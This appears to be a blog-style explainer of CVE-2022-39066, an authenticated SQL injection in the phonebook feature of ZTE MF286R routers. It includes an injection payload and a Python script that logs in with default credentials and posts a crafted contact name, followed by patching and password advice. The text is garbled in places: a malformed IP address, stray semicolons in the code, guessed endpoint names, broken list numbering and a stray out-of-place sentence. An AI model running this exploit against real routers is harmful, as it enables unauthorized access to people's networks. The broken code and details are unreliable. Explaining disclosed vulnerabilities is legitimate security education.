---

Introduction

CVE-2022-39066 is a critical SQL injection vulnerability that affects ZTE MF286R 4G home routers. This flaw allows attackers to run their own database queries through the device’s phonebook interface. If you're using this router, and an attacker knows your password, they could exploit this vulnerability to mess with your router’s data, change settings, or even gain deeper access to your network.

Below, I break down how this vulnerability works, how it can be exploited, and what you can do about it. I’ll include sample code and links to help you learn more.

What Is SQL Injection?

SQL injection happens when an application doesn’t properly check user input before using that input in a database query. Attackers can then insert ("inject") special commands in input forms (like a web search box) to make the database do things it shouldn't—like revealing secrets or letting the attacker get control.

How Does CVE-2022-39066 Happen?

In the ZTE MF286R router, there’s a feature that lets users manage their phonebook—basically, add or search contacts. But the input from the user isn’t properly protected before being used in a SQL database query. This means that an attacker, after logging in as a regular user, can send crafted input to the phonebook interface and run whatever SQL commands they want.

Simply put: If an attacker logs in, they can add SQL commands right into the phonebook features and trick the router into running those commands.

Exploit Details

Authentication Required:
Yes. The attacker must be logged in as any authenticated user. (But many routers have weak/guessable default passwords!)

Vulnerable Function:
The phonebook management interface, typically available via the router's web panel (http://router_ip or via the local network).

Parameter Affected:
Contact info fields (like contact name or number).

How the Attack Works

When a user submits data to add or edit a phonebook entry, the data is sent to the backend with parameters like name or number. The backend puts user data right into an SQL query—without checking for malicious input.

Example Payload:

Let’s say the attacker enters this as the contact name

John', (SELECT sqlite_version()), '555-1234

If this string isn’t filtered, it gets inserted into an SQL query, changing its structure and making the database do something unexpected.

Here's a sample script using Python and the requests library to exploit this

import requests

# Change these as needed
ROUTER_IP = '192.168..1'
LOGIN_URL = f'http://{ROUTER_IP}/login.cgi';
PHONEBOOK_URL = f'http://{ROUTER_IP}/phonebook_add.cgi';
USERNAME = 'admin'
PASSWORD = 'admin'

# First, log in to get a session
session = requests.Session()
login_payload = {'username': USERNAME, 'password': PASSWORD}
session.post(LOGIN_URL, data=login_payload)

# Now try the SQL injection
malicious_name = "test', (SELECT sqlite_version()), '100'"  # Injects version data as a phone number
phonebook_payload = {
    'name': malicious_name,
    'number': '555-010',
}

response = session.post(PHONEBOOK_URL, data=phonebook_payload)
print(response.text)

Note: Replace PHONEBOOK_URL and parameters as needed—refer to your router's phonebook API.

If successful, the router might store or show the SQLite version, or behave strangely—proof that injection happened.

Official NVD Entry:

CVE-2022-39066 - NIST NVD

ZTE Security Advisory:

ZTE Security Bulletin

Router Info:

ZTE MF286R Product Page

How to Protect Yourself

1. Update Firmware: ZTE has released patches for this vulnerability. Install the latest firmware available for your router.

Change Default Passwords: Use strong, unique passwords for your router’s admin interface.

3. Disable Remote Administration: Restrict access to the admin panel to local network only, if possible.

Gain deeper access to your network.

With the rise of smart devices, securing your home router is more important than ever.

Conclusion

CVE-2022-39066 is a textbook example of why proper input validation is critical—even in devices like home routers. If you use the ZTE MF286R, update your firmware ASAP and lock down your admin access. Always be aware: vulnerabilities like these are often discovered months or years after devices have shipped and attackers share or sell this knowledge quickly.

Stay safe, update your gear, and don’t ignore those firmware notifications!

*This article is written exclusively for educational purposes. Always get authorization before testing devices for vulnerabilities.*

Timeline

Published on: 11/22/2022 17:15:00 UTC
Last modified on: 11/30/2022 13:32:00 UTC